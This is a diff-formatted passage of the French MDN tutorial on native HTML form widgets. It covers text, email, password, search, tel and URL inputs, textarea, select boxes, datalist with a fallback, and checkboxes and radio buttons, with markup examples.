+   <th scope="row">Objectif :</th>
+   <td>Comprendre quels sont les types de widgets de forme native disponibles dans les navigateurs pour collecter des données et comment les mettre en œuvre en se servant du HTML.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Ici, nous nous attarderons sur les widgets de formulaires intégrés aux navigateurs, mais comme les formulaires HTML restent très circonscrits et que la qualité des implémentations peut être très différente d'un navigateur à l'autre, les développeurs web construisent parfois leurs propres widgets de formulaires — voir <a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets de formulaires personnalisés</a> plus loin dans ce même module pour plus d'idées à ce propos.</p>
+
+<div class="note">
+<p><strong>Note </strong>: La plupart des fonctionnalités discutées dans cet article sont abondamment explicitées dans les navigateurs ; nous soulignerons les exceptions à ce sujet. Si vous voulez plus de précisions, consultez les <a href="/fr/docs/Web/HTML/Element#Forms">références aux éléments de formulaires HTML</a>, et en particulier nos références détaillées aux <a href="/fr/docs/Web/HTML/Element/input">types &lt;input&gt;</a>.</p>
+</div>
+
+<h2 id="Attributs_communs">Attributs communs</h2>
+
+<p>Beaucoup d'éléments utilisés pour définir les widgets de formulaire ont leurs propres attributs. Cependant, il y a un jeu d'attributs communs à tous les éléments de formulaire. Il vous permettent un certain contrôle sur ces widgets. Voici une liste de ces attributs communs :</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Nom de l'attribut</th>
+   <th scope="col">Valeur par défaut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>autofocus</code></td>
+   <td>(<em>false</em>)</td>
+   <td>Cet attribut, booléen, vous permet de spécifier que cet élément doit avoir automatiquement le focus au chargement de la page, sauf si l'utilisateur prend la main, en faisant, par exemple, une saisie dans un autre contrôle. Un seul élément associé à une forme peut avoir cet attribut activé.</td>
+  </tr>
+  <tr>
+   <td><code>disabled</code></td>
+   <td>(<em>false</em>)</td>
+   <td>Cet attribut est un booléen. Il indique que l'utilisateur ne peut pas avoir d'action sur cet élément. S'il n'est pas précisé, l'élément hérite son comportement de l'élément contenant, comme, {{HTMLElement("fieldset")}} ; si le conteneur n'a pas d'attribut <code>disabled</code> mis, l'élément est activé.</td>
+  </tr>
+  <tr>
+   <td><code>form</code></td>
+   <td></td>
+   <td>L'élément &lt;form&gt; auquel le widget est associé. La valeur de l'attribut doit être l'attribut <code>id</code> d'un élément {{HTMLElement("form")}} dans le même document. En théorie, il vous permet de mettre un widget en dehors d'un élément {{HTMLElement("form")}}. En pratique, toutefois, il n'y a pas de navigateur qui prenne en charge cette fonctionnalité.</td>
+  </tr>
+  <tr>
+   <td><code>name</code></td>
+   <td></td>
+   <td>Le nom de l'élément ; il sera soumis en même temps que les données du formulaire.</td>
+  </tr>
+  <tr>
+   <td><code>value</code></td>
+   <td></td>
+   <td>La valeur initiale de l'élément.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Champs_de_saisie_de_texte">Champs de saisie de texte</h2>
+
+<p>Les champs {{htmlelement("input")}} de saisie de texte sont les widgets de formulaire les plus élémentaires. Ils sont très pratiques pour permettre à un utilisateur de saisir n'importe quel type de données. Toutefois, certains champs textuels peuvent être spécialisés pour répondre à des besoins précis. Nous avons déjà vu quelques exemples.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les champs textuels dans les formulaires HTML sont des contrôles de saisie de texte brut. Cela signifie que vous ne pouvez pas les utiliser pour réaliser de la <a href="/en-US/docs/Rich-Text_Editing_in_Mozilla" title="/en-US/docs/Rich-Text_Editing_in_Mozilla">mise en forme riche</a> (gras, italique, etc.). Tous les éditeurs de textes évolués que vous rencontrez utilisent des widgets personnalisés créés avec HTML, CSS et JavaScript.</p>
+</div>
+
+<p>Tous les champs textuels ont des comportement en commun :</p>
+
+<ul>
+ <li>Il peuvent être définis comme {{htmlattrxref("readonly","input")}} (l'utilisateur ne peut pas modifier la valeur) voire {{htmlattrxref("disabled","input")}} (la valeur n'est pas envoyé avec le restant des données du formulaire).</li>
+ <li>Ils peuvent avoir un {{htmlattrxref("placeholder","input")}}. Ce texte apparaît dans le champs de saisie et décrit brièvement le rôle de cette boîte.</li>
+ <li>Des contraintes peuvent leur être imposées avec {{htmlattrxref("size","input")}} (la taille physique de la boîte) et avec {{htmlattrxref("maxlength","input")}} (le nombre maximum de caractères qui peuvent être saisis dans la boîte).</li>
+ <li>Ils peuvent bénéficier d'une <a href="/fr/docs/HTML/Element/input#attr-spellcheck" title="/fr/docs/HTML/Element/input#attr-spellcheck">correction orthographique</a>, si le navigateur la prend en charge.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note :</strong> L'élément {{htmlelement("input")}} est spécial car il peut être pratiquement n'importe quoi. En réglant simplement ses attributs de type, il peut changer radicalement, et il est utilisé pour créer la plupart des types de widgets de formulaire allant des champs texte sur une seule ligne, contrôles sans entrée de texte, contrôles de date et heure jusqu'aux boutons. Il y a toutefois des exceptions, comme {{htmlelement("textarea")}} pour les entrées multi-lignes. Prenez bien note de ceci en lisant cet article.</p>
+</div>
+
+<h3 id="Champs_texte_sur_une_seule_ligne"> Champs texte sur une seule ligne</h3>
+
+<p>On crée un champ texte sur une seule ligne avec l'élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type", "input")}} est mis à <code>text</code> (maisi, si vous n'indiquez pas l'attribut {{htmlattrxref("type", "input")}}, <code>text</code> est la valeur par défaut). <code>text</code> est aussi la valeur de repli si celle indiquée pour l'attribut {{htmlattrxref("type", "input")}} est inconnue du navigateur (par exemple, si vous spécifiez <code>type="date"</code> et que le navigateur ne prend pas en charge les sélecteurs de date natifs).</p>
+
+<div class="note">
+<p><strong>Note :</strong> Vous trouverez des exemples de tous les types de champ texte sur une ligne dans GitHub à <a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/single-line-text-fields.html">single-line-text-fields.html</a> (voir <a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/single-line-text-fields.html">directement aussi</a>).</p>
+</div>
+
+<p>Voici un exemple élémentaire de champ texte sur une ligne :</p>
+
+<pre class="brush: html">&lt;input type="text" id="comment" name="comment" value="Je suis un champ texte"&gt;</pre>
+
+<p>Les champs texte sur une ligne n'ont qu'une seule contrainte : si vous saisissez du texte avec des sauts de ligne, le navigateur les supprime avant d'envoyer les données.</p>
+
+<p><img alt="Screenshots of single line text fields on several platforms." src="https://developer.mozilla.org/files/4273/all-single-line-text-field.png" style="height: 235px; width: 655px;"></p>
+
+<p>HTML5 améliore le champ texte élémentaire sur une ligne par ajout de valeurs spéciales pour l'attribut {{htmlattrxref("type","input")}}. Ces valeurs conservent l'élément {{HTMLElement("input")}} en tant que champ texte sur une ligne mais ajoutent quelques contraintes et caractéristiques supplémentaires au champ.</p>
+
+<h4 id="Champ_dadresse_électronique">Champ d'adresse électronique</h4>
+
+<p>Ce type de champ est défini en donnant la valeur <code>email</code> à l'attribut {{htmlattrxref("type","input")}} :</p>
+
+<pre class="brush: html">    &lt;input type="email" <code class="language-html"><span class="tag token"><span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>email<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>email<span class="punctuation token">"</span></span> </span></code>multiple&gt;</pre>
+
+<p>Avec ce <code>type</code> , l'utilisateur doit saisir un e‑mail valide dans le champ. Tout autre type de contenu amène le navigateur à émettre une erreur lors de la soumission du formulaire. Notez que cette validation s'opère côté client et est faite par le navigateur :</p>
+
+<p><img alt="Entrée d'un e-mail non valide déclenchant un message d'avertissement « Veuillez saisir une adresse électronique valide »" src="https://mdn.mozillademos.org/files/16001/fr-email.png" style="border-style: solid; border-width: 1px; display: block; height: 130px; margin: 0px auto; width: 434px;"></p>
+
+<p>Avec l'attribut {{htmlattrxref("multiple","input")}}, l'utilisateur pourra saisir plusieurs adresses électroniques dans la même entrée (avec une virgule comme séparateur).</p>
+
+<p>Sur certains périphériques (les mobiles en particulier), un clavier virtuel différent et mieux adapté à la saisie d'adresses électroniques peut être affiché.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Vous trouverez plus de détails sur la validation des formulaires dans l'article <a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaires</a>.</p>
+</div>
+
+<h4 id="Champ_pour_mot_de_passe">Champ pour mot de passe</h4>
+
+<p>Ce type de champ est défini en donnant la valeur <code>password</code> à l'attribut {{htmlattrxref("type","input")}} :</p>
+
+<pre class="brush: html">    &lt;input type="password" id="pwd" name="pwd"&gt;</pre>
+
+<p>Aucune contrainte de saisie du texte n'est ajoutée, mais la valeur entrée dans le champ est masquée (avec des points ou des astérisques) afin qu'elle ne puisse pas être lue par d'autres.</p>
+
+<p>Gardez à l'esprit que ceci n'est qu'une fonction de l'interface utilisateur ; sauf si vous soumettez le formulaire de manière sécurisée, il sera envoyé en texte brut, ce qui est mauvais pour la sécurité — un tiers malicieux pourrait intercepter les données et voler le mot de passe, les détails de la carte de crédit ou autre texte soumis. La meilleure façon de protéger l'utilisateur contre ceci consiste à héberger toute page contenant des formulaires avec une connexion sécurisée (par ex. avec https:// ...), ainsi les données sont chiffrées avant expédition.</p>
+
+<p>Les navigateurs modernes reconnaissent les risques courus lors de l'envoi de formulaires avec une connexion non sécurisée et affichent des avertissements pour prévenir les utilisateurs. Pour plus de précisions sur ce que Firefox a mis en œuvre, voir <a href="/fr/docs/Sécurité/MotsdepasseInsecurisés">Mots de passe peu sûrs</a>.</p>
+
+<h4 id="Champ_de_recherche">Champ de recherche</h4>
+
+<p>Ce type de champ se définit avec la valeur <code>search</code> de l'attribut {{htmlattrxref("type","input")}} :</p>
+
+<pre class="brush: html">    &lt;input type="search" id="search" name="search"&gt;</pre>
+
+<p>La principale différence entre un champ textuel et un champ de recherche est dans l'apparence — souvent, les champs de recherche sont affichés avec des coins arrondis, et/ou avec une « × » à cliquer pour effacer la valeur entrée. Toutefois, une fonction est aussi ajoutée : les valeurs saisies peuvent être automatiquement enregistrées afin d'être utilisées pour compléter des recherches sur plusieurs pages du même site.</p>
+
+<p><img alt="Screenshots of search fields on several platforms." src="/files/4269/all-search-field.png" style="height: 235px; width: 655px;"></p>
+
+<h4 id="Champ_pour_numéro_de_téléphone">Champ pour numéro de téléphone</h4>
+
+<p>Ce type de champ se définit en donnant la valeur <code>tel</code> à l'attribut {{htmlattrxref("type","input")}} :</p>
+
+<pre class="brush: html">    &lt;input type="tel" id="tel" name="tel"&gt;</pre>
+
+<p>À cause de la grande variété de formats de numéros de téléphones à travers le monde, ce type de champ n'ajoute pas de contrainte à la valeur saisie par l'utilisateur. C'est principalement une différence sémantique, bien que sur certains appareils (notamment mobiles) un clavier virtuel différent, mieux adapté à la saisie de numéros de téléphone, puisse être présenté.</p>
+
+<h4 id="Champ_dURL">Champ d'URL</h4>
+
+<p>Ce type de champ se définit en donnant la valeur <code>url</code> à l'attribut {{htmlattrxref("type","input")}} :</p>
+
+<pre class="brush: html">    &lt;input type="url" id="url" name="url"&gt;</pre>
+
+<p>Il ajoute une contrainte de validation spéciale du champ ; le navigateur renvoie une erreur si une URL invalide est saisie.</p>
+
+<div class="note"><strong>Note :</strong> ce n'est pas parce qu'une URL est bien formée qu'elle pointe vers un emplacement qui existe réellement.</div>
+
+<div class="note">
+<p><strong>Note :</strong> La présence de champs avec contraintes spéciales considérés comme erronés bloquent l'envoi du formulaire. De plus, leur apparence peut être adaptée afin de mettre en évidence l'erreur. Nous allons discuter de cela dans l'article <a href="/fr/docs/HTML/Formulaires/Validation_de_formulaires" title="/fr/docs/HTML/Formulaires/Validation_de_formulaire">Validation de formulaires</a>.</p>
+</div>
+
+<h3 id="Champs_texte_multilignes">Champs texte multilignes</h3>
+
+<p>Un champ texte sur plusieurs lignes  se définit avec l'élément {{HTMLElement("textarea")}}, et non avec l'élément {{HTMLElement("input")}}.</p>
+
+<pre class="brush: html">    &lt;textarea cols="30" rows="10"&gt;&lt;/textarea&gt;</pre>
+
+<p>La principale différence entre un champ <code>textarea</code> et un champ monoligne est que, dans un textarea, l'utilisateur peut saisir du texte avec des sauts de ligne en dur (c'est à dire en pressant la touche <code>Retour</code>).</p>
+
+<p><img alt="Screenshots of multi-lines text fields on several platforms." src="/files/4271/all-multi-lines-text-field.png" style="height: 330px; width: 745px;"></p>
+
+<div class="note">
+<p><strong>Note :</strong> Vous trouverez un exemple de champ texte multiligne sur GitHub à l'adresse <a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/multi-line-text-field.html">multi-line-text-field.html</a> (voir aussi <a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/multi-line-text-field.html">directement</a>). Jetez-y un coup d'œil, et remarquez que dans la plupart des navigateurs, la zone de texte est dotée d'une poignée d'étirement en bas à droite pour permettre à l'utilisateur de la redimensionner. Cette capacité de redimensionnement peut être désactivée en réglant la propriété {{cssxref("resize")}} de la zone de texte à <code>none</code> dans les CSS.</p>
+</div>
+
+<p>{{htmlelement("textarea")}} accepte également quelques attributs pour contrôler son rendu sur plusieurs lignes  (outre plusieurs autres) :</p>
+
+<table>
+ <caption>Attributs pour l'élément {{HTMLElement("textarea")}}</caption>
+ <thead>
+  <tr>
+   <th scope="col">Nom de l'attribut</th>
+   <th scope="col">Valeur par défaut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{htmlattrxref("cols","textarea")}}</td>
+   <td><code>20</code></td>
+   <td>Largeur visible de la boîte de contrôle texte, mesurée en largeurs de caractères.</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("rows","textarea")}}</td>
+   <td></td>
+   <td>Nombre de lignes de texte visibles dans la boîte de contrôle.</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("wrap","textarea")}}</td>
+   <td><code>soft</code></td>
+   <td>Indique comment le contrôle va à la ligne. Les valeurs possibles sont : <code>hard</code> ou <code>soft</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Notez que l'élément {{HTMLElement("textarea")}} est écrit un peu différemment de l'élément {{HTMLElement("input")}}. Ce dernier est un élément vide, ce qui signifie qu'il ne peut pas contenir d'élément enfant. A contrario, l'élément {{HTMLElement("textarea")}} est un élément régulier pouvant contenir des enfants contenus de texte.</p>
+
+<p>Deux points clés à noter ici :</p>
+
+<ul>
+ <li>Si vous voulez définir une valeur par défaut pour un élément {{HTMLElement("input")}}, vous devez utiliser l'attribut <code>value</code> ; avec un élément {{HTMLElement("textarea")}} mettez le texte par défaut entre la balise ouvrante et la balise fermante du dit élément.</li>
+ <li>Par nature, l'élément {{HTMLElement("textarea")}} n'accept que des contenus textuels ; ce qui signifie que si du contenu HTML est placé dans un élément {{HTMLElement("textarea")}} il sera restitué sous forme de texte brut.</li>
+</ul>
+
+<h2 id="Contenu_déroulant">Contenu déroulant</h2>
+
+<p>Les widgets déroulants sont une manière simple de permettre à l'utilisateur de choisir une option parmi plusieurs sans que cela prenne trop de place dans l'interface utilisateur. HTML dispose de deux types de contenus déroulants la <strong>boîte à sélections</strong> et la <strong>boîte à complétement automatique</strong>. Dans les deux cas l'interation est identique. Une fois le contrôle activé, le navigateur affiche une liste de valeurs ouverte au choix de l'utilisateur.</p>
+
+<h3 id="Boîte_à_sélection">Boîte à sélection</h3>
+
+<p>Une boîte à sélection est créée avec l'élément {{HTMLElement("select")}} complétée d'un ou plusieurs éléments enfants {{HTMLElement("option")}} définissant les valeurs possibles.</p>
+
+<pre class="brush: html">    &lt;select&gt;
+      &lt;option&gt;Banane&lt;/option&gt;
+      &lt;option&gt;Cerise&lt;/option&gt;
+      &lt;option&gt;Citron&lt;/option&gt;
+    &lt;/select&gt;</pre>
+
+<p>Si nécessaire, la valeur par défaut de la boîte de sélection peut être définie en utilisant l'attribut {{htmlattrxref("selected","option")}} dans l'élément {{HTMLElement("option")}} désiré. Les éléments {{HTMLElement("option")}} peuvent être imbriqués dans des éléments {{HTMLElement("optgroup")}} pour créer des groupes de valeurs associées :</p>
+
+<pre class="brush: html">    &lt;select&gt;
+      &lt;optgroup label="Fruits"&gt;
+        &lt;option&gt;Banane&lt;/option&gt;
+        &lt;option selected&gt;Cerise&lt;/option&gt;
+        &lt;option&gt;Citron&lt;/option&gt;
+      &lt;/optgroup&gt;
+      &lt;optgroup label="Légumes"&gt;
+        &lt;option&gt;Carotte&lt;/option&gt;
+        &lt;option&gt;Aubergine&lt;/option&gt;
+        &lt;option&gt;Pomme de terre&lt;/option&gt;
+      &lt;/optgroup&gt;
+    &lt;/select&gt;</pre>
+
+<p><img alt="Screenshots of single line select box on several platforms." src="/files/4517/all-select.png" style="height: 636px; width: 887px;"></p>
+
+<p>Si un élément {{HTMLElement("option")}} est défini avec l'attribut <code>value</code>, la valeur de cet attribut est envoyée lorsque le formulaire est soumis. Si l'attribut <code>value</code> est omis, le contenu de l'élément {{HTMLElement("option")}} est utilisé comme valeur de la boîte de sélection.</p>
+
+<p>Sur l'élément {{HTMLElement("optgroup")}}, l'attribut <code>label</code> est affiché avant les valeurs, mais même s'il ressemble un peu à une option, il n'est pas sélectionnable.</p>
+
+<h3 id="Boîte_à_sélections_multiples">Boîte à sélections multiples</h3>
+
+<p>Par défaut, une boîte de sélection ne permet à l'utilisateur de ne sélectionner qu'une seule valeur. En ajoutant l'attribut {{htmlattrxref("multiple","select")}} à l'élément {{HTMLElement("select")}}, l'utilisateur peut sélectionner plusieurs valeurs en utilisant le mécanisme par défaut du système d'exploitation (par ex. en pressant <kbd>Cmd</kbd>/<kbd>Ctrl</kbd> et en cliquant sur plusieur valeurs).</p>
+
+<p>Dans ce cas toutefois, la boîte d'utilisateur n'affiche plus les valeurs sous forme d'un menu déroulant. Les valeurs sont toutes affichées dans une liste.</p>
+
+<pre class="brush: html">    &lt;select multiple&gt;
+      &lt;option&gt;Banane&lt;/option&gt;
+      &lt;option&gt;Cerise&lt;/option&gt;
+      &lt;option&gt;Citron&lt;/option&gt;
+    &lt;/select&gt;</pre>
+
+<p><img alt="Screenshots of multi-lines select box on several platforms." src="/files/4559/all-multi-lines-select.png" style="height: 531px; width: 734px;"></p>
+
+<div class="note"><strong>Note :</strong> tous les navigateurs prenant en charge l'élément {{HTMLElement("select")}} prennent aussi en charge l'attribut {{htmlattrxref("multiple","select")}} sur lui.</div>
+
+<h3 id="Contenus_auto-complétés">Contenus auto-complétés</h3>
+
+<p>Vous pouvez suggérer des valeurs d'auto-complémentation pour les widgets avec un élément {{HTMLElement("datalist")}} accompagné d'éléments enfants {{HTMLElement("option")}} précisant les valeurs à afficher.</p>
+
+<p>La liste de données est alors liée à un champ texte (généralement un élément <code>input</code>) avec l'attribut {{htmlattrxref("list","input")}}.</p>
+
+<p>Une fois la liste de données affiliée au widget de formulaire, ses options s'utilisent comme complémentation du texte saisi par l'utilisateur ; cela se présente généralement à l'utilisateur sous forme d'une boîte déroulante listant des correspondances possibles avec ce qui doit être saisi dans la boîte.</p>
+
+<pre class="brush: html">    &lt;label for="onFruit"&gt;Quel est votre fruit préféré ?&lt;/label&gt;
+    &lt;input type="text" id="onFruit" list="maSuggestion" /&gt;
+    &lt;datalist id="maSuggestion"&gt;
+      &lt;option&gt;Pomme&lt;/option&gt;
+      &lt;option&gt;Banane&lt;/option&gt;
+      &lt;option&gt;Mûre&lt;/option&gt;
+      &lt;option&gt;Airelles&lt;/option&gt;
+      &lt;option&gt;Citron&lt;/option&gt;
+      &lt;option&gt;Litchi&lt;/option&gt;
+      &lt;option&gt;Pêche&lt;/option&gt;
+      &lt;option&gt;Poire&lt;/option&gt;
+    &lt;/datalist&gt;</pre>
+
+<div class="note"><strong>Note :</strong> Selon la <a href="http://www.w3.org/TR/html5/common-input-element-attributes.html#attr-input-list" rel="external" title="http://www.w3.org/TR/html5/common-input-element-attributes.html#attr-input-list">norme HTML</a>, l'attribut {{htmlattrxref("list","input")}} et l'élément {{HTMLElement("datalist")}} peuvent s'utiliser avec tout type de widget nécessitant une saisie utilisateur. Toutefois, les modalités de ce fonctionnement ne sont pas claire pour des contrôles autres que textuels (de couleur ou de date par ex.) et les divers navigateurs se comporteront de manière différente selon le cas. Pour cette raison, soyez prudent en utilisant cette fonctionnalité avec autre chose que des champs textuels.</div>
+
+<div><img alt="Screenshots of datalist on several platforms." src="/files/4593/all-datalist.png" style="height: 329px; width: 437px;"></div>
+
+<div>
+<h4 id="Prise_en_charge_de_Datalist_et_recours">Prise en charge de Datalist et recours</h4>
+
+<p>L'élément {{HTMLElement("datalist")}} est un ajout très récent aux formulaires HTML, donc sa prise en charge par les navigateurs est un peu plus limitée que ce que nous avons vu précédemment. En particulier, il n'est pas pris en charge dans les versions d'IE inférieures à 10, et Safari ne le prend toujours pas en charge au moment de la rédaction de cet article.</p>
+
+<p>Pour gérer cela, voici une petite astuce offrant une bonne solution de repli pour ces navigateurs :</p>
+
+<pre class="brush:html; line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>myFruit<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Quel est votre fruit préféré ? (avec repli)<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>myFruit<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>fruit<span class="punctuation token">"</span></span> <span class="attr-name token">list</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>fruitList<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>datalist</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>fruitList<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>suggestion<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>ou choisissez un fruit<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>select</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>suggestion<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>altFruit<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>option</span><span class="punctuation token">&gt;</span></span>Pomme<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>option</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>option</span><span class="punctuation token">&gt;</span></span>Banane<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>option</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>option</span><span class="punctuation token">&gt;</span></span>Mûres<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>option</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>option</span><span class="punctuation token">&gt;</span></span>Airelles<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>option</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>option</span><span class="punctuation token">&gt;</span></span>Citron<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>option</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>option</span><span class="punctuation token">&gt;</span></span>Litchi<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>option</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>option</span><span class="punctuation token">&gt;</span></span>Pêche<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>option</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>option</span><span class="punctuation token">&gt;</span></span>Poire<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>option</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>select</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>datalist</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>Les navigateurs qui prennent en charge l'élément {{HTMLElement("datalist")}} ignoreront tous les éléments qui ne sont pas {{HTMLElement("option")}} et fonctionneront comme prévu. D'autre part, les navigateurs qui ne prennent pas en charge l'élément {{HTMLElement("datalist")}} afficheront l'étiquette et la boîte de sélection. Bien sûr, il y a d'autres façons de gérer ce manque de prise en charge de l'élément {{HTMLElement("datalist")}}, mais c'est la manière la plus simple (d'autres ont besoin de JavaScript).</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="row">Safari 6</th>
+   <td><img alt="Screenshot of the datalist element fallback with Safari on Mac OS" src="https://developer.mozilla.org/files/4583/datalist-safari.png" style="height: 32px; width: 495px;"></td>
+  </tr>
+  <tr>
+   <th scope="row">Firefox 18</th>
+   <td><img alt="Screenshot of the datalist element with Firefox on Mac OS" src="https://developer.mozilla.org/files/4581/datalist-firefox-macos.png" style="height: 102px; width: 353px;"></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Éléments_à_cocher">Éléments à cocher</h2>
+
+<p>Les éléments à cocher sont des widgets dont l'état se modifie en cliquant sur eux. Il existe deux types d'éléments à cocher : la case à cocher et le bouton radio. Les deux utilisent l'attribut {{htmlattrxref("checked","input")}} pour indiquer si le widget est coché par défaut ou non.</p>
+
+<p>Il est important de noter que ces widgets ne se comportent pas tout à fait comme les autres widgets de formulaires. Pour la plupart des widgets, une fois que le formulaire est envoyé, tous les widgets dont l'attribut {{htmlattrxref("name","input")}} est défini sont envoyés, même s'ils ne sont pas renseignés. Dans le cas des éléments à cocher, leurs valeurs ne sont envoyées que s'ils sont cochés. S'ils ne sont pas cochés, rien n'est envoyé, pas même la valeur de leur attribut <code>name</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong> : Vous trouverez les exemples de cette section sur GitHub à l'adresse <a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/checkable-items.html">checkable-items.html</a> (<a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/checkable-items.html">voir directement aussi</a>).</p>
+</div>
+
+<p>Pour un maximum de convivialité/accessibilité, il est conseillé d'entourer chaque liste d'éléments liés dans un {{htmlelement("fieldset")}}, avec un élément {{htmlelement("legend")}} fournissant une description globale de la liste.  Chaque paire individuelle d'éléments {{htmlelement("label")}}/{{htmlelement("input")}} doit être contenue dans son propre élément de liste (ou similaire), comme le montrent les exemples.</p>
+
+<p>Vous devez également fournir des valeurs pour ces types d'entrées dans l'attribut <code>value</code> si vous voulez qu'elles aient un sens — si aucune valeur n'est fournie, les cases à cocher et les boutons radio ont la valeur <code>on</code>.</p>
+
+<h3 id="Case_à_cocher">Case à cocher</h3>
+
+<p>Une casce à cocher se crée avec l'élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur <code>checkbox</code>.</p>
+
+<pre class="brush: html">    &lt;input type="checkbox" <code class="language-html"><span class="tag token"><span class="attr-name token">checked</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>carrots<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>carrots<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>carrots<span class="punctuation token">"</span></span></span></code>&gt;
+</pre>
+
+<p>Mettre l'attribut <code>checked</code> fait que la case sera cochée au chargement de la page.</p>
+
+<p><img alt="Screenshots of check boxes on several platforms." src="/files/4595/all-checkbox.png" style="height: 198px; width: 352px;"></p>
+
+<h3 id="Bouton_radio">Bouton radio</h3>
+
+<p>Un bouton radio se crée avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a la valeur <code>radio</code>.</p>
+
+<pre class="brush: html">    &lt;input type="radio" checked<code class="language-html"><span class="tag token"><span class="attr-name token"> id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>soup<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>meal<span class="punctuation token">"</span></span></span></code>&gt;</pre>
+
